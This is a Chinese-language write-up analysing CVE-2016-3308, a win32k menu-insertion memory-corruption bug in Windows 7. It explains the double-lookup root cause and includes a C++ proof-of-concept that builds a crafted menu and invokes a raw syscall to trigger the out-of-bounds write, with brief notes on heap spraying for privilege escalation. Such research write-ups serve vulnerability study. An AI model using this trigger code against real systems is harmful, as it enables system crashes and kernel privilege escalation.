a case of cve study 00: cve-2016-3308
字数 1167 2025-08-29 08:32:09
CVE-2016-3308漏洞分析与研究
漏洞概述
CVE-2016-3308是Windows图形设备接口(GDI)中的一个漏洞,存在于win32k!xxxInsertMenuItem函数中。该漏洞属于内存破坏类型,可能导致权限提升或系统崩溃。漏洞影响Windows 7 x86 SP1系统。
漏洞原理
核心问题
漏洞的根本原因在于xxxInsertMenuItem函数中两次调用MNLookUpItem函数时存在不一致性,导致获取的菜单项指针可能指向错误的菜单层级,从而在后续内存操作中造成越界写入。
关键函数分析
MNLookUpItem函数
PITEM MNLookUpItem(
PMENU pMenu, // 从哪个菜单开始查找
UINT wCmd, // ID(0)或index(1)
BOOL fByPosition, // 如果是FALSE,以index方式进行查找
PMENU *ppMenuItemIsOn) // 返回在哪一个菜单找到的
该函数用于查找菜单项,有两种查找模式:
- 按位置查找:当
fByPosition为TRUE时,直接通过数组索引获取菜单项 - 按ID查找:当
fByPosition为FALSE时,递归查找匹配ID的菜单项
xxxInsertMenuItem函数
BOOL xxxInsertMenuItem(
PMENU pMenu, // 进行插入操作的Menu对象指针
UINT wIndex, // 选择在哪个位置进行插入操作
BOOL fByPosition, // 根据Index还是根据ID
LPMENUITEMINFOW lpmii, // 需要插入的信息
PUNICODE_STRING pstrItem) // 菜单项文字内容(未逆向)
该函数用于在菜单中插入新项,主要流程:
- 查找插入位置
- 必要时重新分配内存
- 移动现有项腾出空间
- 插入新项
漏洞触发流程
- 第一次调用
MNLookUpItem查找插入位置 - 如果菜单项数超过分配数(
cItems >= cAlloced),重新分配内存 - 第二次调用
MNLookUpItem查找插入位置 - 执行
memmove移动菜单项
漏洞关键点:
- 第二次调用
MNLookUpItem可能返回子菜单中的项 - 但
memmove计算移动大小时使用的是父菜单的rgItems作为基址 - 导致基于错误基址计算移动大小,造成内存破坏
触发条件
-
构造一个菜单结构,其中:
- 主菜单有多个子菜单
- 子菜单的子菜单中包含wID为1的项
- 子菜单的第一项设置
hbmp为MENUHBM_SYSTEM(值为1)
-
通过以下操作触发:
- 插入足够多的菜单项使需要重新分配内存
- 指定wIndex为子菜单第一项的wID
- 设置fByPosition为FALSE
POC代码分析
#include <iostream>
#include <Windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
HMENU hMenu = NULL;
// 使用系统调用直接调用NtUserThunkedMenuItemInfo
_declspec(naked) BOOL NtUserThunkedMenuItemInfo(...)
{
__asm {
mov eax, 1256h
mov edx, 7ffe0300h
call dword ptr[edx]
ret 18h
}
}
int main()
{
HMENU hMenu = CreateMenu();
HMENU hmenuPopup = CreateMenu();
MENUITEMINFO mii = {};
// 构造特殊菜单结构
for (int i = 0; i < 0xF; i++) {
mii.cbSize = sizeof(MENUITEMINFO);
mii.fMask = MIIM_ID | MIIM_DATA | MIIM_SUBMENU | MIIM_BITMAP;
mii.wID = (i == 6 ? 1 : 0x100 + i); // 第6项设置wID为1
mii.hSubMenu = (i == 0xE ? hmenuPopup : NULL);
mii.hbmpItem = (i==7 ? (HBITMAP)1:NULL); // 第7项设置hbmp为1
InsertMenuItem(i < 7 ? hmenuPopup : hMenu, i < 7 ? i : i - 7, TRUE, &mii);
}
try {
// 触发漏洞
NtUserThunkedMenuItemInfo(hMenu, 0x107, FALSE, TRUE, (LPMENUITEMINFOW)&mii, NULL, 0);
} catch (const char* msg) {
std::cerr << msg << std::endl;
}
return 0;
}
漏洞利用
- 可能需要多次运行才能触发,因为破坏的内存可能不重要
- 可通过堆喷技术控制破坏的内存区域
- 最终可能导致权限提升或系统崩溃
防御措施
微软已发布补丁修复此漏洞,建议:
- 及时安装安全更新
- 对用户模式调用GDI函数进行严格验证
- 实现适当的沙箱机制限制此类漏洞的影响
研究意义
- 展示了Windows内核组件中的递归查找与内存管理交互可能导致的漏洞
- 强调了在重新分配内存后必须重新验证所有相关指针的重要性
- 为理解菜单管理组件的安全性提供了案例